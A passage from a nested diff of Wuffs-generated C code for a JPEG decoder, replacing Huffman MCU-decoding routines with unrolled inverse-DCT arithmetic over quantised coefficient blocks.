v_intermediate[26u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd3 + v_ck7)) + 1024u)), 11u); -+ v_intermediate[34u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd3 - v_ck7)) + 1024u)), 11u); - } -- return wuffs_base__make_empty_struct(); --} -- --// -------- func jpeg.decoder.decode_mcu -- --WUFFS_BASE__GENERATED_C_CODE --static uint32_t --wuffs_jpeg__decoder__decode_mcu( -- wuffs_jpeg__decoder* self, -- wuffs_base__slice_u8 a_workbuf, -- uint32_t a_mx, -- uint32_t a_my) { -- return (*self->private_impl.choosy_decode_mcu)(self, a_workbuf, a_mx, a_my); --} -- --WUFFS_BASE__GENERATED_C_CODE --static uint32_t --wuffs_jpeg__decoder__decode_mcu__choosy_default( -- wuffs_jpeg__decoder* self, -- wuffs_base__slice_u8 a_workbuf, -- uint32_t a_mx, -- uint32_t a_my) { -- uint32_t v_ret = 0; -- uint64_t v_bits = 0; -- uint32_t v_n_bits = 0; -- uint8_t v_csel = 0; -- wuffs_base__io_buffer u_r = wuffs_base__empty_io_buffer(); -- wuffs_base__io_buffer* v_r = &u_r; -- const uint8_t* iop_v_r WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -- const uint8_t* io0_v_r WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -- const uint8_t* io1_v_r WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -- const uint8_t* io2_v_r WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -- uint32_t v_pos = 0; -- uint8_t v_dc_h = 0; -- uint32_t v_dc_symbol = 0; -- uint32_t v_dc_ht_fast = 0; -- uint32_t v_dc_bl = 0; -- uint32_t v_dc_code = 0; -- uint32_t v_dc_blm1 = 0; -- uint32_t v_dc_ht_slow = 0; -- uint16_t v_dc_value = 0; -- uint16_t v_dc_extend = 0; -- const uint16_t* v_ac_huff_table_fast = NULL; -- uint8_t v_ac_h = 0; -- uint32_t v_ac_symbol = 0; -- uint32_t v_ac_ht_fast = 0; -- uint32_t v_ac_bl = 0; -- uint32_t v_ac_code = 0; -- uint32_t v_ac_blm1 = 0; -- uint32_t v_ac_ht_slow = 0; -- uint16_t v_ac_value = 0; -- uint16_t v_ac_extend = 0; -- uint32_t v_ac_rrrr = 0; -- uint32_t v_ac_ssss = 0; -- uint32_t v_z = 0; -- uint32_t v_mcb = 0; -- uint64_t v_stride = 0; -- uint64_t v_offset = 0; -- -- v_bits = self->private_impl.f_bitstream_bits; -- v_n_bits = self->private_impl.f_bitstream_n_bits; -- if (self->private_impl.f_bitstream_ri > self->private_impl.f_bitstream_wi) { -- return 2u; -+ if (0u == (self->private_data.f_mcu_blocks[0u][11u] | -+ self->private_data.f_mcu_blocks[0u][19u] | -+ self->private_data.f_mcu_blocks[0u][27u] | -+ self->private_data.f_mcu_blocks[0u][35u] | -+ self->private_data.f_mcu_blocks[0u][43u] | -+ self->private_data.f_mcu_blocks[0u][51u] | -+ self->private_data.f_mcu_blocks[0u][59u])) { -+ v_intermediate[3u] = ((uint32_t)(((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][3u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][3u])))) << 2u)); -+ v_intermediate[11u] = v_intermediate[3u]; -+ v_intermediate[19u] = v_intermediate[3u]; -+ v_intermediate[27u] = v_intermediate[3u]; -+ v_intermediate[35u] = v_intermediate[3u]; -+ v_intermediate[43u] = v_intermediate[3u]; -+ v_intermediate[51u] = v_intermediate[3u]; -+ v_intermediate[59u] = v_intermediate[3u]; -+ } else { -+ v_bq2 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][19u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][19u])))); -+ v_bq6 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][51u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][51u])))); -+ v_ca = ((uint32_t)(((uint32_t)(v_bq2 + v_bq6)) * 4433u)); -+ v_cb2 = ((uint32_t)(v_ca + ((uint32_t)(v_bq2 * 6270u)))); -+ v_cb6 = ((uint32_t)(v_ca - ((uint32_t)(v_bq6 * 15137u)))); -+ v_bq0 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][3u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][3u])))); -+ v_bq4 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][35u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][35u])))); -+ v_ccp = ((uint32_t)(((uint32_t)(v_bq0 + v_bq4)) << 13u)); -+ v_ccm = ((uint32_t)(((uint32_t)(v_bq0 - v_bq4)) << 13u)); -+ v_cd0 = ((uint32_t)(v_ccp + v_cb2)); -+ v_cd1 = ((uint32_t)(v_ccm + v_cb6)); -+ v_cd2 = ((uint32_t)(v_ccm - v_cb6)); -+ v_cd3 = ((uint32_t)(v_ccp - v_cb2)); -+ v_bq1 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][11u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][11u])))); -+ v_bq3 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][27u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][27u])))); -+ v_bq5 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][43u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][43u])))); -+ v_bq7 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][59u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][59u])))); -+ v_ci51 = ((uint32_t)(v_bq5 + v_bq1)); -+ v_ci53 = ((uint32_t)(v_bq5 + v_bq3)); -+ v_ci71 = ((uint32_t)(v_bq7 + v_bq1)); -+ v_ci73 = ((uint32_t)(v_bq7 + v_bq3)); -+ v_cj = ((uint32_t)(((uint32_t)(v_ci73 + v_ci51)) * 9633u)); -+ v_ck1 = ((uint32_t)(v_bq1 * 12299u)); -+ v_ck3 = ((uint32_t)(v_bq3 * 25172u)); -+ v_ck5 = ((uint32_t)(v_bq5 * 16819u)); -+ v_ck7 = ((uint32_t)(v_bq7 * 2446u)); -+ v_ci51 *= 4294964100u; -+ v_ci53 *= 4294946301u; -+ v_ci71 *= 4294959923u; -+ v_ci73 *= 4294951227u; -+ v_cl51 = ((uint32_t)(v_ci51 + v_cj)); -+ v_cl73 = ((uint32_t)(v_ci73 + v_cj)); -+ v_ck1 += ((uint32_t)(v_ci71 + v_cl51)); -+ v_ck3 += ((uint32_t)(v_ci53 + v_cl73)); -+ v_ck5 += ((uint32_t)(v_ci53 + v_cl51)); -+ v_ck7 += ((uint32_t)(v_ci71 + v_cl73)); -+ v_intermediate[3u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd0 + v_ck1)) + 1024u)), 11u); -+ v_intermediate[59u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd0 - v_ck1)) + 1024u)), 11u); -+ v_intermediate[11u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd1 + v_ck3)) + 1024u)), 11u); -+ v_intermediate[51u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd1 - v_ck3)) + 1024u)), 11u); -+ v_intermediate[19u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd2 + v_ck5)) + 1024u)), 11u); -+ v_intermediate[43u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd2 - v_ck5)) + 1024u)), 11u); -+ v_intermediate[27u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd3 + v_ck7)) + 1024u)), 11u); -+ v_intermediate[35u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd3 - v_ck7)) + 1024u)), 11u); - } -- { -- wuffs_base__io_buffer* o_0_v_r = v_r; -- const uint8_t *o_0_iop_v_r = iop_v_r; -- const uint8_t *o_0_io0_v_r = io0_v_r; -- const uint8_t *o_0_io1_v_r = io1_v_r; -- const uint8_t *o_0_io2_v_r = io2_v_r; -- v_r = wuffs_base__io_reader__set( -- &u_r, -- &iop_v_r, -- &io0_v_r, -- &io1_v_r, -- &io2_v_r, -- wuffs_base__make_slice_u8_ij(self->private_data.f_bitstream_buffer, -- self->private_impl.f_bitstream_ri, -- self->private_impl.f_bitstream_wi), -- ((uint64_t)(self->private_impl.f_bitstream_ri))); -- do { -- while (self->private_impl.f_mcu_current_block < self->private_impl.f_mcu_num_blocks) { -- while (self->private_impl.f_mcu_zig_index <= 0u) { -- wuffs_base__bulk_memset(&self->private_data.f_mcu_blocks[0], 1u * (size_t)128u, 0u); -- if (((uint64_t)(io2_v_r - iop_v_r)) < 264u) { -- v_ret = 1u; -- goto label__goto_done__break; -- } -- v_bits |= (wuffs_base__peek_u64be__no_bounds_check(iop_v_r) >> (v_n_bits & 63u)); -- iop_v_r += ((63u - (v_n_bits & 63u)) >> 3u); -- v_n_bits |= 56u; -- v_dc_h = self->private_impl.f_mcu_blocks_dc_hselector[self->private_impl.f_mcu_current_block]; -- v_dc_ht_fast = ((uint32_t)(self->private_impl.f_huff_tables_fast[v_dc_h][(v_bits >> 56u)])); -- v_dc_bl = (v_dc_ht_fast >> 8u); -- if (v_n_bits >= v_dc_bl) { -- v_dc_symbol = (15u & v_dc_ht_fast); -- v_dc_extend = WUFFS_JPEG__EXTEND[v_dc_symbol]; -- v_bits <<= (v_dc_bl & 63u); -- v_n_bits -= v_dc_bl; -- } else { -- v_dc_code = ((uint32_t)((v_bits >> 55u))); -- v_dc_blm1 = 8u; -- v_bits <<= 9u; -- v_n_bits -= 9u; -- while (true) { -- v_dc_ht_slow = self->private_impl.f_huff_tables_slow[v_dc_h][v_dc_blm1]; -- if (v_dc_code < (v_dc_ht_slow >> 8u)) { -- v_dc_symbol = (15u & ((uint32_t)(self->private_impl.f_huff_tables_symbols[v_dc_h][(255u & ((uint32_t)(v_dc_code + v_dc_ht_slow)))]))); -- v_dc_extend = WUFFS_JPEG__EXTEND[v_dc_symbol]; -- break; -- } -- v_dc_code = (((uint32_t)(v_dc_code << 1u)) | ((uint32_t)((v_bits >> 63u)))); -- v_bits <<= 1u; -- v_n_bits -= 1u; -- v_dc_blm1 = ((v_dc_blm1 + 1u) & 15u); -- if (v_dc_blm1 == 0u) { -- v_dc_symbol = 0u; -- v_dc_extend = WUFFS_JPEG__EXTEND[v_dc_symbol]; -- break; -- } -- } -- } -- v_dc_value = ((uint16_t)(((v_bits >> 32u) >> (32u - v_dc_symbol)))); -- v_dc_value += (v_dc_extend & (((uint16_t)(wuffs_base__utility__sign_extend_rshift_u64(v_bits, 63u))) ^ 65535u)); -- v_bits <<= v_dc_symbol; -- v_n_bits -= v_dc_symbol; -- v_csel = self->private_impl.f_scan_comps_cselector[self->private_impl.f_mcu_blocks_sselector[self->private_impl.f_mcu_current_block]]; -- self->private_impl.f_mcu_previous_dc_values[v_csel] += v_dc_value; -- self->private_data.f_mcu_blocks[0u][0u] = self->private_impl.f_mcu_previous_dc_values[v_csel]; -- self->private_impl.f_mcu_zig_index = 1u; -- break; -- } -- if (((uint64_t)(io2_v_r - iop_v_r)) < 264u) { -- v_ret = 1u; -- goto label__goto_done__break; -- } -- if (v_n_bits < 16u) { -- v_bits |= (wuffs_base__peek_u64be__no_bounds_check(iop_v_r) >> (v_n_bits & 63u)); -- } -- v_z = 1u; -- self->private_impl.f_mcu_zig_index = 0u; -- v_ac_h = self->private_impl.f_mcu_blocks_ac_hselector[self->private_impl.f_mcu_current_block]; -- v_ac_huff_table_fast = &self->private_impl.f_huff_tables_fast[v_ac_h][0u]; -- while (v_z < 64u) { -- v_ac_ht_fast = ((uint32_t)(v_ac_huff_table_fast[(v_bits >> 56u)])); -- if (((uint64_t)(io2_v_r - iop_v_r)) < 8u) { -- v_ret = 2u; -- goto label__goto_done__break; -- } -- v_bits |= (wuffs_base__peek_u64be__no_bounds_check(iop_v_r) >> (v_n_bits & 63u)); -- iop_v_r += ((63u - (v_n_bits & 63u)) >> 3u); -- v_n_bits |= 56u; -- v_ac_bl = (v_ac_ht_fast >> 8u); -- if (v_n_bits >= v_ac_bl) { -- v_ac_symbol = (255u & v_ac_ht_fast); -- v_bits <<= (v_ac_bl & 63u); -- v_n_bits -= v_ac_bl; -- } else { -- v_ac_code = ((uint32_t)((v_bits >> 55u))); -- v_ac_blm1 = 8u; -- v_bits <<= 9u; -- v_n_bits -= 9u; -- while (true) { -- v_ac_ht_slow = self->private_impl.f_huff_tables_slow[v_ac_h][v_ac_blm1]; -- if (v_ac_code < (v_ac_ht_slow >> 8u)) { -- v_ac_symbol = ((uint32_t)(self->private_impl.f_huff_tables_symbols[v_ac_h][(255u & ((uint32_t)(v_ac_code + v_ac_ht_slow)))])); -- break; -- } -- v_ac_code = (((uint32_t)(v_ac_code << 1u)) | ((uint32_t)((v_bits >> 63u)))); -- v_bits <<= 1u; -- v_n_bits -= 1u; -- v_ac_blm1 = ((v_ac_blm1 + 1u) & 15u); -- if (v_ac_blm1 == 0u) { -- v_ac_symbol = 0u; -- break; -- } -- } -- } -- v_ac_rrrr = (v_ac_symbol >> 4u); -- v_z += (v_ac_rrrr + 1u); -- v_ac_ssss = (v_ac_symbol & 15u); -- v_ac_extend = WUFFS_JPEG__EXTEND[v_ac_ssss]; -- if (v_ac_ssss > 0u) { -- v_ac_value = ((uint16_t)((v_bits >> (64u - v_ac_ssss)))); -- v_ac_value += (v_ac_extend & (((uint16_t)(wuffs_base__utility__sign_extend_rshift_u64(v_bits, 63u))) ^ 65535u)); -- v_bits <<= v_ac_ssss; -- v_n_bits -= v_ac_ssss; -- self->private_data.f_mcu_blocks[0u][WUFFS_JPEG__UNZIG[v_z]] = v_ac_value; -- } else if (v_ac_rrrr < 15u) { -- break; -- } -- } -- v_mcb = self->private_impl.f_mcu_current_block; -- self->private_impl.f_mcu_current_block += 1u; -- if (self->private_impl.f_test_only_interrupt_decode_mcu) { -- goto label__goto_done__break; -- } -- v_csel = self->private_impl.f_scan_comps_cselector[self->private_impl.f_mcu_blocks_sselector[v_mcb]]; -- v_stride = ((uint64_t)(self->private_impl.f_components_workbuf_widths[v_csel])); -- v_offset = (self->private_impl.f_mcu_blocks_offset[v_mcb] + (((uint64_t)(self->private_impl.f_mcu_blocks_mx_mul[v_mcb])) * ((uint64_t)(a_mx))) + (((uint64_t)(self->private_impl.f_mcu_blocks_my_mul[v_mcb])) * ((uint64_t)(a_my)))); -- if (v_offset <= ((uint64_t)(a_workbuf.len))) { -- wuffs_jpeg__decoder__decode_idct(self, wuffs_base__slice_u8__subslice_i(a_workbuf, v_offset), v_stride, ((uint32_t)(self->private_impl.f_components_tq[v_csel]))); -- } -- } -- self->private_impl.f_mcu_current_block = 0u; -- } while (0); -- label__goto_done__break:; -- v_pos = ((uint32_t)(wuffs_base__u64__sat_add((v_r ? v_r->meta.pos : 0), ((uint64_t)(iop_v_r - io0_v_r))))); -- if (v_pos > self->private_impl.f_bitstream_wi) { -- v_ret = 2u; -- } else { -- self->private_impl.f_bitstream_ri = v_pos; -- } -- v_r = o_0_v_r; -- iop_v_r = o_0_iop_v_r; -- io0_v_r = o_0_io0_v_r; -- io1_v_r = o_0_io1_v_r; -- io2_v_r = o_0_io2_v_r; -+ if (0u == (self->private_data.f_mcu_blocks[0u][12u] | -+ self->private_data.f_mcu_blocks[0u][20u] | -+ self->private_data.f_mcu_blocks[0u][28u] | -+ self->private_data.f_mcu_blocks[0u][36u] | -+ self->private_data.f_mcu_blocks[0u][44u] | -+ self->private_data.f_mcu_blocks[0u][52u] | -+ self->private_data.f_mcu_blocks[0u][60u])) { -+ v_intermediate[4u] = ((uint32_t)(((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][4u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][4u])))) << 2u)); -+ v_intermediate[12u] = v_intermediate[4u]; -+ v_intermediate[20u] = v_intermediate[4u]; -+ v_intermediate[28u] = v_intermediate[4u]; -+ v_intermediate[36u] = v_intermediate[4u]; -+ v_intermediate[44u] = v_intermediate[4u]; -+ v_intermediate[52u] = v_intermediate[4u]; -+ v_intermediate[60u] = v_intermediate[4u]; -+ } else { -+ v_bq2 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][20u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][20u])))); -+ v_bq6 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][52u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][52u])))); -+ v_ca = ((uint32_t)(((uint32_t)(v_bq2 + v_bq6)) * 4433u)); -+ v_cb2 = ((uint32_t)(v_ca + ((uint32_t)(v_bq2 * 6270u)))); -+ v_cb6 = ((uint32_t)(v_ca - ((uint32_t)(v_bq6 * 15137u)))); -+ v_bq0 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][4u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][4u])))); -+ v_bq4 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][36u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][36u])))); -+ v_ccp = ((uint32_t)(((uint32_t)(v_bq0 + v_bq4)) << 13u)); -+ v_ccm = ((uint32_t)(((uint32_t)(v_bq0 - v_bq4)) << 13u)); -+ v_cd0 = ((uint32_t)(v_ccp + v_cb2)); -+ v_cd1 = ((uint32_t)(v_ccm + v_cb6)); -+ v_cd2 = ((uint32_t)(v_ccm - v_cb6)); -+ v_cd3 = ((uint32_t)(v_ccp - v_cb2)); -+ v_bq1 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][12u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][12u])))); -+ v_bq3 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][28u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][28u])))); -+ v_bq5 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][44u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][44u])))); -+ v_bq7 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][60u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][60u])))); -+ v_ci51 = ((uint32_t)(v_bq5 + v_bq1)); -+ v_ci53 = ((uint32_t)(v_bq5 + v_bq3)); -+ v_ci71 = ((uint32_t)(v_bq7 + v_bq1)); -+ v_ci73 = ((uint32_t)(v_bq7 + v_bq3)); -+ v_cj = ((uint32_t)(((uint32_t)(v_ci73 + v_ci51)) * 9633u)); -+ v_ck1 = ((uint32_t)(v_bq1 * 12299u)); -+ v_ck3 = ((uint32_t)(v_bq3 * 25172u)); -+ v_ck5 = ((uint32_t)(v_bq5 * 16819u)); -+ v_ck7 = ((uint32_t)(v_bq7 * 2446u)); -+ v_ci51 *= 4294964100u; -+ v_ci53 *= 4294946301u; -+ v_ci71 *= 4294959923u; -+ v_ci73 *= 4294951227u; -+ v_cl51 = ((uint32_t)(v_ci51 + v_cj)); -+ v_cl73 = ((uint32_t)(v_ci73 + v_cj)); -+ v_ck1 += ((uint32_t)(v_ci71 + v_cl51)); -+ v_ck3 += ((uint32_t)(v_ci53 + v_cl73)); -+ v_ck5 += ((uint32_t)(v_ci53 + v_cl51)); -+ v_ck7 += ((uint32_t)(v_ci71 + v_cl73)); -+ v_intermediate[4u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd0 + v_ck1)) + 1024u)), 11u); -+ v_intermediate[60u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd0 - v_ck1)) + 1024u)), 11u); -+ v_intermediate[12u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd1 + v_ck3)) + 1024u)), 11u); -+ v_intermediate[52u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd1 - v_ck3)) + 1024u)), 11u); -+ v_intermediate[20u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd2 + v_ck5)) + 1024u)), 11u); -+ v_intermediate[44u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd2 - v_ck5)) + 1024u)), 11u); -+ v_intermediate[28u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd3 + v_ck7)) + 1024u)), 11u); -+ v_intermediate[36u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd3 - v_ck7)) + 1024u)), 11u); - } -- self->private_impl.f_bitstream_bits = v_bits; -- self->private_impl.f_bitstream_n_bits = v_n_bits; -- return v_ret; --} -- --// -------- func jpeg.decoder.decode_mcu_progressive_ac_high_bits -- --WUFFS_BASE__GENERATED_C_CODE --static uint32_t --wuffs_jpeg__decoder__decode_mcu_progressive_ac_high_bits( -- wuffs_jpeg__decoder* self, -- wuffs_base__slice_u8 a_workbuf, -- uint32_t a_mx, -- uint32_t a_my) { -- uint32_t v_ret = 0; -- uint64_t v_bits = 0; -- uint32_t v_n_bits = 0; -- wuffs_base__io_buffer u_r = wuffs_base__empty_io_buffer(); -- wuffs_base__io_buffer* v_r = &u_r; -- const uint8_t* iop_v_r WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -- const uint8_t* io0_v_r WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -- const uint8_t* io1_v_r WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -- const uint8_t* io2_v_r WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -- uint32_t v_pos = 0; -- const uint16_t* v_ac_huff_table_fast = NULL; -- uint8_t v_ac_h = 0; -- uint32_t v_ac_symbol = 0; -- uint32_t v_ac_ht_fast = 0; -- uint32_t v_ac_bl = 0; -- uint32_t v_ac_code = 0; -- uint32_t v_ac_blm1 = 0; -- uint32_t v_ac_ht_slow = 0; -- uint16_t v_ac_value = 0; -- uint16_t v_ac_extend = 0; -- uint32_t v_ac_rrrr = 0; -- uint32_t v_ac_ssss = 0; -- uint32_t v_z = 0; -- -- if (self->private_impl.f_eob_run > 0u) { --#if defined(__GNUC__) --#pragma GCC diagnostic push --#pragma GCC diagnostic ignored "-Wconversion" --#endif -- self->private_impl.f_eob_run -= 1u; --#if defined(__GNUC__) --#pragma GCC diagnostic pop --#endif -- return 0u; -+ if (0u == (self->private_data.f_mcu_blocks[0u][13u] | -+ self->private_data.f_mcu_blocks[0u][21u] | -+ self->private_data.f_mcu_blocks[0u][29u] | -+ self->private_data.f_mcu_blocks[0u][37u] | -+ self->private_data.f_mcu_blocks[0u][45u] | -+ self->private_data.f_mcu_blocks[0u][53u] | -+ self->private_data.f_mcu_blocks[0u][61u])) { -+ v_intermediate[5u] = ((uint32_t)(((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][5u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][5u])))) << 2u)); -+ v_intermediate[13u] = v_intermediate[5u]; -+ v_intermediate[21u] = v_intermediate[5u]; -+ v_intermediate[29u] = v_intermediate[5u]; -+ v_intermediate[37u] = v_intermediate[5u]; -+ v_intermediate[45u] = v_intermediate[5u]; -+ v_intermediate[53u] = v_intermediate[5u]; -+ v_intermediate[61u] = v_intermediate[5u]; -+ } else { -+ v_bq2 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][21u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][21u])))); -+ v_bq6 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][53u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][53u])))); -+ v_ca = ((uint32_t)(((uint32_t)(v_bq2 + v_bq6)) * 4433u)); -+ v_cb2 = ((uint32_t)(v_ca + ((uint32_t)(v_bq2 * 6270u)))); -+ v_cb6 = ((uint32_t)(v_ca - ((uint32_t)(v_bq6 * 15137u)))); -+ v_bq0 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][5u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][5u])))); -+ v_bq4 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][37u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][37u])))); -+ v_ccp = ((uint32_t)(((uint32_t)(v_bq0 + v_bq4)) << 13u)); -+ v_ccm = ((uint32_t)(((uint32_t)(v_bq0 - v_bq4)) << 13u)); -+ v_cd0 = ((uint32_t)(v_ccp + v_cb2)); -+ v_cd1 = ((uint32_t)(v_ccm + v_cb6)); -+ v_cd2 = ((uint32_t)(v_ccm - v_cb6)); -+ v_cd3 = ((uint32_t)(v_ccp - v_cb2)); -+ v_bq1 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][13u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][13u])))); -+ v_bq3 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][29u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][29u])))); -+ v_bq5 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][45u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][45u])))); -+ v_bq7 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][61u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][61u])))); -+ v_ci51 = ((uint32_t)(v_bq5 + v_bq1)); -+ v_ci53 = ((uint32_t)(v_bq5 + v_bq3)); -+ v_ci71 = ((uint32_t)(v_bq7 + v_bq1)); -+ v_ci73 = ((uint32_t)(v_bq7 + v_bq3)); -+ v_cj = ((uint32_t)(((uint32_t)(v_ci73 + v_ci51)) * 9633u)); -+ v_ck1 = ((uint32_t)(v_bq1 * 12299u)); -+ v_ck3 = ((uint32_t)(v_bq3 * 25172u)); -+ v_ck5 = ((uint32_t)(v_bq5 * 16819u)); -+ v_ck7 = ((uint32_t)(v_bq7 * 2446u)); -+ v_ci51 *= 4294964100u; -+ v_ci53 *= 4294946301u; -+ v_ci71 *= 4294959923u; -+ v_ci73 *= 4294951227u; -+ v_cl51 = ((uint32_t)(v_ci51 + v_cj)); -+ v_cl73 = ((uint32_t)(v_ci73 + v_cj)); -+ v_ck1 += ((uint32_t)(v_ci71 + v_cl51)); -+ v_ck3 += ((uint32_t)(v_ci53 + v_cl73)); -+ v_ck5 += ((uint32_t)(v_ci53 + v_cl51)); -+ v_ck7 += ((uint32_t)(v_ci71 + v_cl73)); -+ v_intermediate[5u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd0 + v_ck1)) + 1024u)), 11u); -+ v_intermediate[61u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd0 - v_ck1)) + 1024u)), 11u); -+ v_intermediate[13u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd1 + v_ck3)) + 1024u)), 11u); -+ v_intermediate[53u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd1 - v_ck3)) + 1024u)), 11u); -+ v_intermediate[21u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd2 + v_ck5)) + 1024u)), 11u); -+ v_intermediate[45u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd2 - v_ck5)) + 1024u)), 11u); -+ v_intermediate[29u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd3 + v_ck7)) + 1024u)), 11u); -+ v_intermediate[37u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd3 - v_ck7)) + 1024u)), 11u); - } -- v_bits = self->private_impl.f_bitstream_bits; -- v_n_bits = self->private_impl.f_bitstream_n_bits; -- if (self->private_impl.f_bitstream_ri > self->private_impl.f_bitstream_wi) { -- return 2u; -+ if (0u == (self->private_data.f_mcu_blocks[0u][14u] | -+ self->private_data.f_mcu_blocks[0u][22u] | -+ self->private_data.f_mcu_blocks[0u][30u] | -+ self->private_data.f_mcu_blocks[0u][38u] | -+ self->private_data.f_mcu_blocks[0u][46u] | -+ self->private_data.f_mcu_blocks[0u][54u] | -+ self->private_data.f_mcu_blocks[0u][62u])) { -+ v_intermediate[6u] = ((uint32_t)(((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][6u]) * 